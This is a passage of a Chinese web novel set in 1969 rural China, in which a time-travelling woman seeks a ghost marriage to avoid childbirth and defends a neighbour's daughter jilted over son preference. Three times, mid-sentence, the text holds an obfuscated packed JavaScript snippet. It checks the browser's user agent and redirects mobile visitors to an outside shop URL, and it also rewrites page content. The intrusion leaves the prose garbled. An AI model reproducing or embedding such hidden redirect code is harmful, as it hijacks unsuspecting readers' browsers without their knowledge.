他阴沉的眼眸紧紧盯着钟颖,“你知不知道,嫁给一个死人、嫁给一个牌位意味着什么?你这辈子只能守活寡、不会有自己的孩子,困在我李家直到老死……” 李霖时说得可怕,语气冷冽恐怖,这话听在钟颖耳朵里却是自动转换成关键词——不用生、还有地方养老,好耶,四舍五入达成丁克和独身成就! 钟颖兴奋的点点头,拍拍自己的胸膛,“你放心,我绝对给你守一辈子!” 她愿意在李家做一辈子的咸鱼! 李霖时心一颤,但很快又醒悟过来,钟颖说这话没有别的意思,看她的样子还很高兴,怕是又有她的算计。 恐吓她反倒让她兴奋,李霖时深吸了一口气,努力冷静的和她沟通,“一个女人没有孩子怎么能行?你应该嫁给一个正常男人,再生三、五个孩子……” 李霖时放下自己的私欲,苦口婆心,完全是为了钟颖好的话在她听来更像是一种诅咒。“嫁给一个正常男人”?然后给他做一辈子的保姆吗?“再生三、五个孩子”?男的是不是都把生孩子当作是拉屎,一使劲就出来了?说得轻巧。 钟颖被他“诅咒”得火大,但转念一想,李霖时算起来都是爷爷辈的,糟老头子思想观念落后,她和他计较什么呢? 于是钟颖平静下来,只淡淡的瞟他一眼,“你也就是死了。” 不然她才不会想要嫁给他,果然,她和这时候的所有男的都有壁。 李霖时只觉莫名其妙,被钟颖话里的嫌弃气到,什么叫“你也就是死了”,忒难听。 “女人没有孩子怎么能行?首先,我存在的意义是‘我’,不是为了到年纪嫁人生孩子,”钟颖看在他已经死了的份上,披露了一些现代人的思想,“女人可以有孩子也可以没有孩子,这只是个人的一个选择而已。而不是说女人不生孩子就是人生的不完整……” 钟颖看着河里男鬼沉默的表情,突然有些丧气,“算了,你也理解不了这些。” 横跨了六十年的代沟,她过不去,这时候任何一个男人也过不来。 “总之,我就是借你的名头一用。”钟颖劝说道,“反正你迟早都要去投胎,人间事你就别多管了。” 钟颖就差直接说,人的事,鬼少管。 李霖时看着她,目光中隐隐带着一丝怨气,他现在还怎么去投胎? 不过,李霖时回想着钟颖刚刚说的话,她确实有着非常特别的想法,特别到……与当下这个时代不容。 但是钟颖那荒唐的主意,李霖时还是不能答应,“不行。” 钟颖指着他左手手腕上的那圈红色头绳,“咱俩天地都拜了,有什么不行的?” 李霖时下意识的把左手藏到身侧,这个奇怪的红头绳他不是没有试过摘下来,可这东西在他腕子上却像是粘在皮肤上一般,哪怕他化作四散的水滴,仍是抛不掉它。 “不行。”李霖时抿紧唇,还是如此说道。 钟颖又游说了半天,衣服都洗干净了,这鬼还是那一句硬邦邦的“不行”。 “呵,”钟颖气鼓鼓的抱起脸盆,故意挤兑他,“明明有的鬼当初还说什么要娶我,男人的嘴,骗人的鬼!” 李霖时有些狼狈,但他说这话时是这意思吗?他当时明明是想要取她的命。 “不过死了的男人又不是只有你一个,”钟颖脑筋转得快,很快又想到了什么,“你堂弟不是已经去投胎了吗?你不行,那我就借他的名头用用。” “就说本来我和他两情相悦,你毕业回生产队后在我们之间横插一脚,我对你没什么感情,你偏偏要当你堂弟的替身,因为救我,反被人们误会有私情的人是你我,但我还是忘不掉你堂弟,后半辈子就想给他守着……” 钟颖看过很多电视剧、小说,剧情向乙游她也玩过,启一个头很快被她发散的思维编成一个故事,起承转合,落回她想要达成的目的上。 只是李霖时感觉要被她气死了。 先是被踩在男人不能被说不行的雷区,接着自己又成了“替身”?她怎么敢想的?“嫁”自己不成就想要“嫁给”长贵? 几乎是从牙缝中挤出的两个字,李霖时脸色阴翳得可怕,“你、敢。” 钟颖见他仿佛恨不得掐死她的表情,终于是老实了,只能暂时放弃。抱着一盆子衣服转身往家走,背过身去钟颖便忍不住做了个鬼脸,暗自腹诽,真的是亲亲堂兄弟,死鬼可真够护着的,连身后名都不允许她侵占。 回到家,钟颖把湿衣服搭在院子里拉着的绳子上面,忍不住的叹气。 钟国强迈着小短腿好奇的凑过来问,“姑,你为啥叹气?” 钟颖用力揉了揉他柔软的小短发,“我就是觉得做这时候的女人可真难啊……” 一墙之隔的另一边屋子里,范家夫妻也是心凉一片。 聂英死死盯着胡打听,“你说什么?” 胡打听也为难,她也不想来传这种话,可周长庆家的特意找到她,拜托了这桩事,她也只能硬着头皮来说,总比周家的再去找别人、把这事传得越来越多人知道的好。 “周家那边的意思是,”胡打听只得再重复一遍,“想再看看你家大妮儿这胎生出来会是男还是女,如果是女的话……他们家是想退了这门婚事的……” 聂英再听一遍,发现真的不是自己听岔了,而是真的,她简直要疯了,“她家什么意思?!什么意思!嫌弃我生的都是女儿、我的大妮儿也生的都是女儿,所以嫌弃我的女儿都生不出儿子来吗?” 胡打听有些尴尬,知道对方家里就是这么个意思,但这头她还真不好点下去。 “行了,”范五冷沉着脸低声喝道,“你小声点,这种事光彩吗?” 聂英这才理智回笼,她心里戚戚,难受极了,“二妮等了快三年,好不容易等到青年就要守完他爷的孝了,怎么能反悔呢?大妮儿是前头生了两个闺女,但她还年轻,还能生啊……” 胡打听安慰她,“我也是这么和周家那边说的,年轻怎么还生不出个儿子来了?他家才说看看大妮儿这胎生出来着再决定。我看大妮儿的肚子尖尖,十有八九是个男胎,只要生出来是个男娃就没事。” 聂英却没被安慰到,尖锐的发问,“是女娃就不要我家的闺女了是吧?” 胡打听说不出口,只能以沉默作答。 范五也生气周家这种轻慢的态度,却把火撒到聂英头上,“还不是怨你!你但凡生出个儿子来,也不会连累到闺女身上!” 这话简直是在扎聂英的心,她的脸色一下就白了,嘴唇颤抖,喉咙哽住,一时竟说不出话来,只有眼泪唰地流下来。 胡打听皱眉,目光谴责的看向范五,“你怎么能这么说话呢?!” 范五气呼呼的别过头去,梗着脖子,“我又没说错,人周家小子也不过是不像和我一样,变成个绝户而已。” 胡打听紧紧握住聂英不停抖动的肩膀,心中难免升起一种兔死狐悲的难过来,唉,女人总是命苦啊…… 聂英没透露一句让大女儿、二女儿知道,一向大嘴巴的胡打听这回也是守口如瓶,整个生产队竟没第四个人知道周家意图退亲的事。 邓霞愁女儿的婚事,聂英也愁女儿的婚事,隔三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16593598|185220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 差五斗个嘴的邻里居然诡异的达成了“休战”。 在这种沉重的寂静下,日子不知不觉间就到了农历腊月,阳历的一九六九年一月。 进入腊月,农村人就开始筹备起过年的事宜了,这可是一年一次的头等大事。 腊月初八的时候,钟春生和钟信爷俩在家看孩子,邓霞带着儿媳苗素云、闺女钟颖,娘仨一块儿早早出发去赶大集去了。 每逢农历的“八”日,榆钱山前的空地都会变成集市,这是这一带唯一的集市,也是农民唯一可以自由买卖的合法场所。 人们摆到集市上卖的一般是自家自留地里种的菜、家禽、水果等,或是个人制作的手工制品,像是竹筐、扫帚、草席等等,直接拿钱购买的比较少,容易变成“资本主义”,大多数情况都是以物易物,鸡蛋比钱更像钱,“鸡屁股银行”不是说说而已。 钟颖在这个时空生活了大半年,还是第一回赶集。 一个是因为农村人家过着自给自足的生活,家里有粮有菜,很少需要再去买点什么;另一个原因就还是同甘生产队地理位置的因素,赶一次集要走上十里地,太不方便。 不过进入腊月,便是年集了,比往常热闹,再不舍得的人们也会从各个生产队赶过来买点年货,顺便凑个热闹、交换一下各自生产队里的一些轶闻。 榆钱洼生产队四周的大小道路上人流熙攘,集上更是人山人海。 围着最多人的还是猪肉摊前,这是杀了猪的周家窝窝生产大队在卖猪肉,赚一些副业收入。 这年头谁不馋肉啊,钟颖看了都走不动道,她也想吃肉了。 邓霞扯了闺女一把,“咱们生产队也会杀猪,到时候有的猪肉分。” 钟颖的脚步这才动了,忍不住问,“什么时候杀啊?” “往年都是腊月十五。”邓霞说着,睨了闺女一眼,“大馋丫头,秋收的时候家里不是宰了一只鸡炖着吃了?” 说起这个,邓霞给心里的待买清单加上一笔,“还要再买两只小鸡仔补上。” 走过卖肉的摊位,往前又走了十几米,钟颖和苗素云各自挎着的篮子里已经多了两张要贴在门上的年画、补充的盐等调味料、一盒洋火、一把粉条……原本装在篮子里的鸡蛋换成了两只毛茸茸的嫩黄色小鸡。 邓霞又在鞭炮摊位前停住脚步,挑拣起摆出来的挂鞭,过年怎么能少了这种噼里啪啦的热闹声,爆竹声中一岁除嘛。 同在鞭炮摊位面前的两个中年妇人一边挑拣着东西,一边闲聊着。 “周长庆家的有没有来找你扯闲篇?我看她那意思好像又要给她家三儿相看。” “啊?她家三儿不是已经定亲了吗?我记得还是说的同甘生产队上的闺女,我没记错吧?” 一听到她们生产队的名字,娘仨俱是动作一顿,钟颖和苗素云对视一眼,啥情况啊?邓霞心里更是疑惑,周长庆家的三儿?这不是隔壁家二妮说的那户人家吗? “没,”其中那个短发的中年妇人说,“我看她家话里话外意思,是嫌弃同甘生产队的那家娘生的都是闺女、她大姐生的也都是闺女,担心娶回家的也是个只能生闺女的闺女,就有点想退亲……说只等她那怀着胎的大姐生出来,看看是男是女,要是还是个女娃,这亲撕破脸来她家也要退了……” 两妇人各自挑好了一根一寸多长的小鞭,开始和摊主讲价还价后就再没继续闲聊。 等她们走后,邓霞拧着眉头,低声嘱咐女儿和儿媳,“这事先别往外说,大妮儿正怀着胎,让她知道了这事再心情不好。” 苗素云连连点头,她和范大妮年龄相近,都是生产队里的年轻媳妇,平日里走得近,时而会互相托付照看下孩子什么的,也知道范大妮本就因生了两个女儿有些压力,这要是让大妮再知道妹妹的婚事也压在她的身上……苗素云有些不敢继续想下去了。 “现在不是‘妇女能顶半边天’,生女儿又怎么样,难道不是自己孩子了?”钟颖不忿。 邓霞看了闺女一眼,“你当谁家的闺女都像你一样啊?不把闺女当人看的人家都多了去了,更不用提什么当孩子看了。” 钟颖张开嘴想要说什么,突然又觉得说不出什么,心中升起一股深深的无力感。 39. 生产 “这解放鞋不是还好好的,诚子还说什么是旧胶鞋。” 邓霞乐得合不拢嘴的看着钟春生脚上那双鞋子,一边催促男人赶紧走两步试试。 钟信稀罕的捧着背在身上的绿挎包,盯着上面印的“为人民服务”几个字看了又看。 “这要是家里人都和诚子脚一样大就好了,以后都能轮着有双解放鞋穿。”邓霞忍不住如此感慨道。 “我哥脚那么大,我才不要和他脚一样大,跟鸭子的脚蹼似的。”钟颖嫌弃,一边说着一边把她娘刚刚扣她头上的棉帽摘下来,又扣到小国强的脑袋上。 大大的宽檐棉帽两侧还带着垂下来的耳罩,钟国强戴上这帽子连眼睛都被盖住了,只剩下一个小小的下巴露在外面,就这样他还很高兴,兴奋的挺起胸膛敬了个礼,稚声稚气的喊着,“向雷同志学习!” 苗素云见状,想要把手里的军绿色水壶塞给钟颖,“那小妹,水壶给你——” 钟颖没要,她举了一下手里的红色封皮书,“我要这个就行。” 没有手机没有网络,能看书也行,钟颖苦中作乐的想着。 “没事,这不是还有布票吗,今年过年家里人都扯布做上件新衣服!”邓霞大手一挥。 钟诚一下子给家里寄了不少东西,还有钱和票,不得不说,钟家的日子确实因为他去当兵改善了不少。 就拿这年头最不可或缺的票来说吧,农村虽然不像城市人一样吃的、喝的样样都受各种票的限制,菜和粮食地里长,家里养着鸡,生产队里也养着猪,“衣食住行”上只有“衣”最犯难。 除了位于产棉区的一些生产队可以在棉花收获了,交售给供销社后留几斤“自留棉”来纺纱织布,解决穿衣问题,其他农村人只能买布回来再自己做衣服,而买布就牵扯到一样东西——“布票”。 不像城市居民有定额的布票发放,农村人想要布票只能用粮食、鸡蛋来换,过年能给一个孩子做身新衣服都是不错的了,之前的钟家也是如此,钟诚的衣服穿小了就给钟颖穿,钟颖穿下来又给钟诚穿,现在钟国强小朋友还会穿他小叔曾穿过的衣服。当然,被偏爱的钟颖会有额外的新衣服,因为邓霞说的“都是大姑娘了总要有两身像样的衣服穿才行”。 邓霞脾气爆、性子也急,说扯布第二天就招呼一家子人去公社供销社买布了,反正现在土地都上冻了,生产队的众人也彻底闲了下来,只忙活着各家准备过年的事。 年前供销社的布匹柜台前是人山人海的,谁家不是攒上一年的布票就为了过年能做件新衣服穿。 钟春生在前面挤,好不容易带着一家人挤到了柜台前。 邓霞看着售货员身后木货架上一卷卷码放整齐的布匹,眼睛都不舍得眨一下,招呼家人们,“快看看,你们都想要什么样的布做衣服?” 其实也没什么好选的,货架上最多的就是“老三色”,蓝色、绿色和黑色,除此之外最醒目的就是两、三卷红色的布,一般人买来做袖章或是给女孩做扎头发的布带,再就是零零星星的白布、格子色织布……没什么特别花哨的,这几年都越发趋于保守。 钟春生为了配大儿子给他的那双解放鞋、钟信为了配他哥给的绿挎包,苗素云想给儿子国强做身小号军便服,选的全是绿色的“涤卡”布,邓霞则是要了蓝平布。 钟颖指着黑色的棉布,“我要这个。” 邓霞把她的胳膊按下来,皱眉不赞同地说,“大过年的穿什么黑色?不知道的还以为你给人守寡呢!” 她确实上赶着给鬼“守寡”,鬼还不乐意呢,钟颖腹诽,她还是坚持着说,“我想要条黑裤子,耐脏、耐穿。” 邓霞一想,那也行,全家人都做衣服,每人也就做个一件,做不了一身,黑色布做褂子忒晦气,但做裤子倒是可以。 “娘,我就算了,衣服够穿。”苗素云说,她怕布票不够。 “那哪行,少了谁的都不能少了你的!诚子寄回来的布票反倒就他媳妇捞不着件新衣服穿?我可干不出这种恶婆婆的事!”邓霞不让,拉着儿媳非要让她选。 苗素云盛情难却,只好也选了一块布,“那我和小妹一样,也扯黑色布做条裤子。” 最后邓霞把家里攒的和钟诚寄来的布票全给了售货员,才勉强够买了一家人做衣服的布。 布买回来了,衣服还要人来做。 钟颖捏着针,小心翼翼、聚精会神的往布上扎,然后……又一次的扎到了手。 李霖时在一旁看着,没见过缝衣服还能扎这么多回手的,他缝补自己的衣服都比钟颖熟练。 “我觉得我那些衣服也够换着穿了。”钟颖淡然说着,一点也没有“我缝不好衣服、我羞愧”,动作自然的就要把手里的布放下,准备站起身来。 邓霞按在她的肩膀上,手下用力,把闺女按回了凳子上,“不行,连件衣服都不会做怎么能行?以后你男人的衣服谁来做?” 钟颖深深的叹了口气,她娘恨不得给她安排一个“好媳妇速成班”,让她在短时间内掌握做饭、缝衣服等等主妇技能,以至于嫁人后不会被人嫌弃。 就像现代她妈什么家务都不让钟颖干一样,不同时空的两个母亲其实都是在自己有限的认知里想让女儿过得更好。 钟颖只得再捏起针,算了,继续缝吧,不为男人,她自己也确实想要一条没有补丁的新裤子。 就在这时,突然有人急切的拍打着钟家的院门,“婶子!钟二婶子!你在家吗?” 邓霞走过去开门。 钟颖趁这空档瞥了一眼身旁的男鬼,压低声音,“你又开始跟着我干嘛?” “我怕你‘先斩后奏’。”李霖时说,属于是一朝被蛇咬、十年怕井绳。 钟颖一噎,她还真确实想过,但这不是有贼心、没贼胆嘛。 邓霞打开门,见是隔壁范家的二妮,疑惑的问,“这是怎么了?二妮你别急,啥事和婶子说。” 范二妮急得人都慌了,语速极快地说道,“我姐要生了,我娘去刘家找大姐她婆婆来接生,现在家里没个能主事的人,我姐眼看着就要生出来了!” 邓霞吓了一跳,“怎么就要生了?!” 范大妮还是听说了二妹婚事要糟的事情,她挺着大肚子着急的跑回娘家,向她爹娘询问。 “周家的事是不是真的?”范大妮问,“他家托人来说了吗?” 范五沉默,聂英脸色晦暗,这下范大妮还有什么不明白的,她跌坐在凳子上,神情恍然。 儿子,儿子……这两个字简直像个诅咒,紧紧扣在她娘的命里,扣在她的命里,未来还要扣在她妹妹们的命里。 范大妮捧着快九个月的肚子怔怔呢喃着,“要是我生不出儿子怎么办?二妹真要被退亲?再说亲就更难了……” 就在这种心绪激荡起伏下,范大妮在娘家发动早产了。 聂英慌忙的跑出家门去找生产队里会接生的婆子、范大妮她婆婆林淑红,家里就剩范五和几个闺女。 “这种时候我爹不顶用,三妹、小妹更是吓得慌了神,”范二妮目光哀求的看向邓霞,声音颤抖带着些哭腔,“婶子,求你去我家帮帮忙吧。” 邓霞是和聂英掐了十几年,互相看对方不顺眼,但这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16598325|185220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时候她也刻不容辞的往外走,不忘一边扭头嘱咐道,“苗儿你和颖妮儿赶紧烧一大锅热水!” 说完邓霞就跟着范二妮急急去了隔壁。 苗素云自己也是经历过这么一遭的,知道事情紧急,赶忙去烧水。 尽管知道人撞不到自己,但李霖时还是下意识的让开,站到一旁去。 钟颖一边和她一起拿着水瓢、水桶的往灶台上的大铁锅里倒水,一边问嫂子,“是大妮姐要生了?就这么在家里生?她婆婆接生?” 钟颖简直难以置信,不去医院、家里那卫生条件基本等于零,没有专业的妇产科医生、就一个接生婆?也没有什么止痛针、催产素,就这么干生啊? 苗素云习以为常的点点头,“对啊,都是在家里生的,只不过大妮儿这回生得也太急了,怕是什么都还没准备好。” 说着,苗素云暗暗提起心来,也有些慌,“我再去找块布包些草木灰,赶紧送过去,小妹你先看着火,多塞些柴火,烧快些!” 灶台下的炉膛里木柴烧出啪呲的轻响,却惊得钟颖浑身一激灵。 女人忍耐不住的吃痛喊声穿过院墙传过来。 苗素云送完草木灰又小跑着回了家,见火焰的颜色都染不红钟颖发白的脸色,她很快了然,“妹,你是吓着了吧?” 虽然钟颖在生产队其他人眼里都算是“老姑娘”了,但在苗素云眼里她还是个小妹妹。 苗素云握住钟颖的手,温声安慰道,“没事的,女人都会经历这遭的,之前我也害怕,但真到生的时候了,发现其实也没那么可怕,用力、坚持,熬过那一阵子、生出来就好了。” 钟颖一点都没有被安慰到,孩到临头了,这又不是屎,还能憋回去,除了硬着头皮生还能怎么办啊?又不能把孩子塞回去! 隔壁又传来一声更加尖利的喊声。 孩子不能塞回去,但可以从源头就切断它的出生。钟颖想,她是绝对不能在这个时代生孩子的,没有产检、没有医生、不去医院,这是真实的“鬼门关”,她宁愿守寡! 水烧开了,钟颖和苗素云合力连锅一起抬去隔壁范家,鬼也默默的搭了把手,操纵锅里的水隐隐向上,减轻了些重力。 在甘霖河里呆着那些日子,李霖时不只是让自己平静下来,他还感觉自己对水的操纵能力似乎又变强了一些。 接生婆林淑红跟着聂英已经跑过来了,三个妇人都在屋子里围着产妇转。 “开水来了!”苗素云对着窗户喊。 邓霞脚步匆匆的从屋里出来,手上还沾着血,“来得刚好,正需要用开水烫一烫剪刀!孩子已经出来了,马上就要剪脐带!” 不多时刚端进去的一锅开水变成了一盆血水又端了出来,看着令人触目惊心。 钟颖只觉自己此刻好像都变得有点晕血,这是什么人间地狱,太可怕了! 她像是失了神一般跟着苗素云又回了家。 苗素云接过儿子,对钟信道谢,“还好有弟弟帮忙看着国强,不然这一时忙乱起来,还真是顾不上别的……” 钟信露出一个腼腆的笑,摇了摇头。 人们的说话声仿佛被隔在一层棉花外,钟颖听不真切,脑子里只有一个念头。 她看向一旁沉默着也不知道在想什么的李霖时,对不住了,死鬼。 钟颖现在可顾不上他同意还是不同意了,她真的要“没命”了! 被鬼掐死总比流血流泪又流奶好! 这一刻,钟颖与原身仿佛重叠,原因虽然不同,但这股强烈的念头是相同的。 她一定要嫁给李霖时! 40. 蚂蚁 “队长,周家窝窝生产大队的周长庆两口子去范五家要退婚!你快过去看看吧!” 李明头疼的赶紧穿上夹棉袄往外走。 退婚是大事,尤其是像这种两个生产队之间的人家闹掰要退婚,不亚于一场“外交事件”了。 李明走得飞快,一路上都在想自己该怎么说、怎么办。 退婚都是媒人说和、调解失败后两家人进行正面的交锋,争吵、眼泪是避免不了的,这时候就需要生产队的干部出面,一般来说都是大队的妇女主任或是生产队的妇女队长站出来,批评教育一番提出退婚的那家人,对他们进行一番思想教育,毕竟都欺负到“自家人”身上了,哪能就这么容易就让他们把婚退了、败坏姑娘家的名声。 同甘生产队的妇女队长一职一直空着,现在也只能李明这个做队长的硬着头皮上了。 范家门口已经围了一圈接一圈的人了,整个生产队的人听到动静都过来看热闹了。 李明费劲的挤进去,果然,已经吵起来了。 不过,批评教育也已经在做了。 一个五十来岁、刻薄劲儿全表露在脸上的男人铁青着脸,“反正这样生不出儿子的媳妇我家不敢要!” 站在范家隔壁门口的年轻姑娘只声音清脆的质问他,“你是从哪儿来的?你是不是你娘生的?没有你娘哪来的你?你娘是不是别人家的闺女?没有闺女哪来的孩子?” 周长庆被一连数个问题噎住,他答不上来,只能瞪着钟颖,“你又是谁家的闺女?这种事你个没结婚的姑娘掺和什么!” 邓霞站出来,更凶更狠的瞪回去,“我家的!你给我把那俩招子收回去!我闺女也是你能瞪的!你个后背梁长疮肚脐眼流脓的玩意儿,这辈子从哪儿出来的都忘了是吧?你娘要知道你是个这么嫌弃女人的东西,她生的时候就应该把你塞回去……” 周长庆的媳妇见自个儿男人被骂得狗血临头,站出来斥责回去,“我们两口子来范家退亲,和你又有什么关系?!你个多管闲事的泼妇!” 钟颖不乐意了,怎么还骂上她娘了,“婶子你这说得就不对了,远亲不如近邻,邻居家有难,我们家还能干看着?我范五叔是个笨的,范五婶子也是个憨的,说又说不过你们,但这事本来就是你们的不对,二妮人好好一个姑娘被你们这样打脸要退婚,天都要叫屈!” 被扣上一个“笨”字的范五:…… 行吧,他确实战斗力没有隔壁这娘俩强。 是个“憨”的聂英:…… 算了,憨就憨吧,她确实气疯了也只会扑上去挠人脸。 周长庆又横眉冷对怒视着钟颖,指着她鼻子喷洒口水,“我们家哪里不对了?!她娘一辈子生的都是闺女,她大姐这都三个丫头了!我三儿子可是还要传宗接代的!谁知道二妮会不会像她娘、她大姐一样,只生女不生男!” “你家是有皇位啊?还传宗接代!‘四清’怎么没把你脑子里那些封建余孽都清清干净!”钟颖也不客气了,“你家不想要女孩、他家不想要女孩,生下来的女孩全溺死,男的和男的在一块儿能生下孩子吗?那才是真的绝户了!” 围观的人们一片哗然,他们从来都把男女相和、生儿育女当作天经地义的事情,虽然人们大多重男轻女,但从来没想过,要是没有女,只剩下男……这么想想,女人还真是挺重要的,男的和男的,生不出孩子啊! 钟颖一口气说完,又回到了那句话,“我就问你,你是哪儿来的?没有你娘能有你?” 没有鸡哪儿来的蛋,先有鸡还是先有蛋,这种问题能把他绕死! 见周长庆还是回答不上来,围观的人们更加挤兑他。 “你怎么不说了?刚刚不是挺能说的?”林淑红故意扬声问他,“没有你娘哪儿来的你啊?” 聂金凤也起哄,“就是,没有你娘哪来的你!” 周长庆狼狈不堪,恨恨说道,“好啊,你们同甘生产队的联起伙来欺负人!” 李明这时候不能再旁观了,他就要站出来,可不能被扣上这么一顶“大帽子”。 “叔,你这话说得可不对。”钟颖抢先一步,表情严肃,义正言辞的说,“这可不是欺负人,大家伙也只是询问,让你正视自己生命的起源而已。” 好赖话说不过这小妮子,冠冕堂皇的话也说不过她,周长庆忿忿从鼻子里喷出一口气,气得直咬牙,“行,大不了我家不退亲了就是!” 范二妮从她家门里赶忙走出来,“不行!” 看了一眼前面身姿挺直的钟颖,范二妮攥紧拳头,仿佛汲取到了力量一般,鼓起勇气当着众人的面说道,“你家闹出来的这些事害得我大姐早产,我还不想嫁去你家了呢!” 而且范二妮虽然性子柔弱,但看得明白,今天周家能因为担心她日后生不出儿子来上门退亲,即使迫于压力被按头认下这门婚事,她嫁过去也不会有什么好日子过的,重复她爹对她娘的那种日子罢。 众人又是哗然,没见过姑娘家自己说这种事的。 就连聂英也着急的上来拽女儿,低声呵斥,“你说这个干嘛?!” 只有钟颖朝范二妮投来赞赏的目光,她转回头去,直视周长庆这老头,摇头一脸惋惜,“叔,你看看你家闹出来的这事,害得好好的姑娘都不敢嫁了。既然女方不愿意,那这门亲还是算了吧!” 周长庆差点儿气了个仰倒,这话说出去其他人还不得以为是他家有问题、姑娘才不愿意嫁的?!而且什么叫女方不愿意,明明是他们男方先不愿意的!颠倒黑白!这是在颠倒黑白! 钟颖不给他辩解的机会,嘴巴不停的又对围观的人们说,“一家有女百家求,这家不行还有别家!各位叔伯婶子,有空儿都帮二妮打听打听别人家的好青年!” 退亲对女方名声伤害极大,其他人也是吃了这么些年盐的,自然听出了钟颖话里的深意,这妮儿脑子转得够快啊!让他们先一步出去打听,这不是就帮范家二妮说说好话,免去人们在背后议论了。 胡打听立刻应下,“放心,我肯定再给相看个好的青年!” 她这张嘴,包明天人们都能知道这桩亲不成都怪男方,女方是一点问题都没有! 钟颖满意的点点头,甩完锅她就打算撤了,“范五叔,范五婶子,这事儿虽然男方家做得不地道,但我们也不好过多苛责,也不能太得理不饶人,之后你们两家坐下来好好商量之前彩礼什么的怎么退,我一个小孩也不懂这些。” 范五和聂英连连点头,顺着她的话也咬死了,“是,男方做得是不对,但咱们是大度的人。” 周长庆气得踉跄一步,被他媳妇连忙扶住了,他指着钟颖的手指颤颤悠悠,“你、你现在说自己是小孩什么也不懂了……” 刚刚一套接一套堵得他说不出话的时候怎么不提?还说什么“不能太得理不饶人”,这不叫不饶人叫什么? 周长庆气得直大喘气。 钟颖吓得赶紧跑回自己家里去,这老头别气撅过去再赖上她! 李明上前托住周长庆另一边的胳膊,又抚着他的后背顺气,“你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16602769|185220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也别急,我是同甘生产队的队长,刚刚事情既然已经说了个明白,那就按照退亲的流程来吧……” 不得不说钟颖这小妮儿将这事处理得很好,李明在心里想,不只维护了社员的名声和利益,还有理有据,硬是说得人无力反驳,他来处理都做不到这么八面玲珑。 李明想,钟老二家的这闺女要是日后还是嫁在他们同甘生产队,这个妇女队长的空位就能填上了。 他一边应付着周家人,一边走神的思索着生产队里还没结婚的男青年,排来排去,李明突然有些怅然,要是他的幺儿还活着就好了,这么好的妮子现在就已经是他的小儿媳了…… 钟颖还不知道盼着她结婚的人又增加了一个,她躲进院子里,家里人还都在门外,只有死鬼跟了过来。 刚刚李霖时就站在钟颖的身后,周家人对钟颖的怒瞪与指责仿佛也像是直对着他一般,他第一次直面感受到这种轻慢、嫌弃、呵斥,但这些对于女人来说却是常态。 钟颖继续和死鬼讲先前被周家人来退亲而打断的话,“未来女人生产都是住进医院,要进无菌的手术室,如果出现难产,顺产是生不出来的,必须刨腹产,还有可能遇到羊水梗塞等等突发状况,这些都必须要专业的医生来处理,而不是一个接生婆!烧锅热水!烫个剪刀!” 钟颖说到后面又有点崩溃了,“鬼门关在人间啊!” 不是说她比其他女人胆小,而是无知而无畏,过去这个时代的女人都是被推着走,怀了只能生。就算有熬不过去生育这关的,也只会被人轻描淡写的说成“狠心的娘”,就讽刺,哪个女人会狠心到连命都不要了,谁想死啊,钟颖也不想。 “我大伯娘不就是现成的例子,她就是死在生产时。”钟颖现在“恐男”情绪达到顶峰,当下任何活的、会喘气的男人,在她看来都不亚于洪水猛兽,“我要是真嫁人,说不准不用几年我就要下去陪你。” 说完,钟颖突然灵光一闪,立刻狐疑的看向李霖时,“你不会就是打着这个主意吧?借刀杀人?” 本来一脸沉思的李霖时顿时面色铁青,“我、没、有。” 钟颖讪笑一声,“没有就好,总之,现在只有守寡能救我一命了,我是一定要嫁给你的,对不住了兄弟,只有嫁给你,我还能有活到九十九的可能……嫁给任何一个现在活的、会喘气的男人,都必须生孩子、而且还必须生出个儿子才行……” 李霖时犹疑,开始有些不确定自己坚持的想法是不是对的,在范家两姐妹的事情后,嫁人、生育,不再只是概念中的两个词语,而是真实的、甚至血淋淋的经历。 “我不知道……女人要吃这么多苦。”李霖时艰难的说道。 钟颖耸耸肩,“既得利益者当然看不到了,毕竟在当下这个传统观念的大环境里,女人的角色定位是‘付出’,男人是‘获得’。” 土地上一排小黑点爬过,勤勤恳恳搬运着残渣剩饭。 钟颖突然想到之前牛头马面说的关于山神入世的那番话,其实用在当下也很适合。 她指着地上的那些蚂蚁,“人会知道蚂蚁会吃什么样的苦吗?人不知道,只有蚂蚁自己和她的同类知道。一样的,大多数男人都是此时俯瞰蚂蚁的我们,而女人就是这些蚂蚁。” 李霖时看着地上的蚂蚁,他此时如果不是鬼魂,怕是还不能感受到“蚂蚁”的视角,得以窥见世界的另一半模样。 “但……”钟颖仿佛被地上这些小黑点吸引住全部心神,她喃喃道,“蚂蚁尚能撼树,可别小瞧了蚂蚁。” 41. 科学打败迷信 直接说不想嫁人生子,邓霞和钟春生肯定接受不了; 说想要嫁给鬼,她爹娘肯定也要“昏”过去。 钟颖深思熟虑了两天,才组织好语言。 她还好心的等家人们都吃完饭才开口的。 